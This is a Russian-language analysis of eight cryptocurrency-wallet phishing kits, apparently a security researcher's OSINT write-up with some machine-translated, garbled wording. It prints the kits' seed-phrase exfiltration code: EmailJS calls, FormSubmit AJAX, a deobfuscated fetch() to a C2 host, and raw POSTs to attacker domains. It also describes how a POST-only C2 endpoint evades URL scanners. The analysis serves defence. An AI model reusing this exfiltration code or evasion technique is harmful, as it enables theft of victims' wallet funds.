Анатомия криптовалютного фишинга:
Анализ 8 реальных атак

Выдача себя за другого человека

Вымышленный «децентрализованный протокол» для проверки кошельков. Для обеспечения достоверности используются актуальные тикеры цен от CryptoCompare и ссылки на реальные блокчейн-браузеры (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano). На целевой странице представлены более 100 логотипов кошельков и описан процесс «проверки», состоящий из 3 этапов.

Двойная цепочка вывода информации

Самый сложный бэкенд из всех пяти — каждый украденный набор учетных данных проходит через два независимых канала одновременно:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

Результаты анализа OSINT

Выдача себя за другого человека

Идеальное до пикселя воспроизведение реальности Aqualibre (AQLA) страница миграции токенов. В коде HTML содержится тег метаданных, указывающий на источник: data-scrapbook-source="https://token.aqla.app/migration", с датой 19 ноября 2024 года.

Подход «Zero-Code»

Для этого атакующего необходимо полное отсутствие кода на стороне сервера. Форма отправляет данные непосредственно на Нестатический — легитимный бэкенд формы для статических сайтов. Каждая отправленная форма перенаправляется на электронную почту мошенника. Адрес электронной почты злоумышленника — никогда не отображается в исходном коде.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

Выдача себя за другого человека

Субдомен содержит «safpal» — это намеренная орфографическая ошибка в слове SafePal, популярный аппаратный кошелек. Сайт маскируется под «Blockchain Wallet Rectification» и содержит 26 поддельных категорий проблем. Для анимации названий блокчейнов (Ethereum, BSC, Polygon…) используется библиотека Typed.js, а для придания сайту достоверности — тикер LiveCoinWatch.

Тот же комплект, тот же оператор?

Использует абсолютно такой же шаблон фишингового письма как объект № 2: идентичный connect.html, идентичный wallets.html с более чем 60 логотипами, на одном и том же бэкенде Un-static (с разными идентификаторами форм — 6f1b82c3...da9943af). Наличие идентичного набора явно указывает на то, что один оператор, обслуживающий оба сайта.

Ошибки в коде: «Privay Policy» (пропущена буква «c»), «seperated» (должно быть «separated»), «Kestore» (пропущена буква «y»). В поле для ввода пароля используется type="text" вместо type="password".

Выдача себя за другого человека

Практически идеальный клон Сеть Flare portal — настоящий блокчейн EVM уровня 1 с протоколами FTSO и Data Connector. Включает в себя более 30 партнёров экосистемы, навигацию и брендинг. Фавиконы загружаются с домена, зарегистрированного по методу «типосквот»: portal.flaremainet.com (в слове «mainnet» пропущено одно «n»).

Двойное резервирование EmailJS

Единственный сайт, на котором используется две отдельные учетные записи EmailJS одновременно для обеспечения отказоустойчивости в случае попытки ликвидации:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

Тема письма по каждому случаю кражи: "New Wallet Details from Flare".

Сайт № 4: платная реклама, аналитический мониторинг и двойной вывод данных — самая профессиональная операция

Выдача себя за другого человека

Универсальный сервис «COIN NODE» / «Wallet Fix» (без указания конкретной марки). Авторские права «Wallet Fix 2022» — этому шаблону набора уже не менее 4 лет. Изображения размещены на pumpeth.com (WordPress на AWS).

«Фишинг как услуга»

Самая тревожная архитектура бэкенда: а Многопользовательский API на основе UUID:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

Каждому мошеннику присваивается собственный конечный пункт с UUID. Центральный оператор обслуживает API, отслеживает кампании и, возможно, получает долю от похищенных средств. Это организованное хищение криптовалюты — модель «фишинга как услуги».

Связанная инфраструктура (почти не функционирует)

Выдача себя за другого человека

A двухстороннее мероприятие: общий «Центр поддержки» по адресу wallet-support-39n.pages.dev с 15 вымышленными категориями выпусков и 39 брендами кошельков, а также Идеально точный клик-по-клику клон процесса регистрации в Ledger в ledger-recovery.support размещенный на Replit — с возможностью выбора модели устройства, настройки PIN-кода и сеткой из 24 слов начальной фразы с настоящее автозаполнение BIP39.

Бэкэнд C2 для защиты от сканеров

Страница поддержки кошелька отправляет похищенные данные на api.uranustoken.org/log — настраиваемый сервер управления (C2) на базе nginx/Ubuntu, работающий за Cloudflare. Бэкенд намеренно отклоняет все запросы GET (возвращает ошибку 522 «таймаут»), отвечая только на запросы POST. Это означает, что сканеры URL-адресов, роботы Google Safe Browsing и исследователи в области безопасности, отправляющие запросы GET на этот конечный пункт, ничего не видят — сервер C2 выглядит неактивным.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

Клон Ledger запускает отдельный бэкенд на Express.js непосредственно на Replit: POST /api/recovery-phrase сбор {deviceId, pin, phrase}. Он возвращает 400 {"error":"Invalid data provided"} при некорректных входных данных — подтверждая, что бэкенд работает и проходит активную валидацию украденные данные.

Результаты анализа OSINT

Выдача себя за другого человека

Универсальная «децентрализованная платформа запуска» с 21 категория приманок (стейкинг, миграция, KYC, розыгрыши, получение вознаграждений, восстановление активов, предпродажа, чеканка NFT, заблокированные аккаунты...) и Более 70 брендов кошельков — один из самых полных списков кошельков, с которыми нам доводилось сталкиваться. Характерная опечатка «Sychronize» (пропущена буква «n») выдаёт подделку.

Конвейер FormSubmit

Области применения FormSubmit.co — легальный сервис для отправки форм по электронной почте. Хеш конечной точки a2cf4131f1a5d39453c7c183df96f86f представляет собой MD5-хэш адреса электронной почты мошенника. Мы провели перебор сотен шаблонов адресов электронной почты в сервисах Gmail, Yahoo, Hotmail, ProtonMail, Yandex и Mail.ru — не найдено. Мошенник использует необычный или сгенерированный случайным образом адрес электронной почты.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

Результаты анализа OSINT

Выдача себя за другого человека

Неизвестно — и фронтенд, и бэкенд находятся в автономном режиме. Судя по структуре полезной нагрузки, речь шла о программе, похищающей семенную фразу криптокошелька. Это Общедоступный хранилище Cloudflare R2 (объектное хранилище, а не Pages) — это хорошо задокументированный вектор фишинга по данным Netskope, было выявлено более 5 000 вредоносных страниц, а объем трафика вырос в 61 раз.

Настройка для «скрипт-кидди»

Самый примитивная операция в этом наборе. Фразы-семена отправляются слово за словом к скрипту PHP, запущенному на домашнем компьютере или VPS, подключенном через бесплатный динамический DNS:

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

Результаты анализа OSINT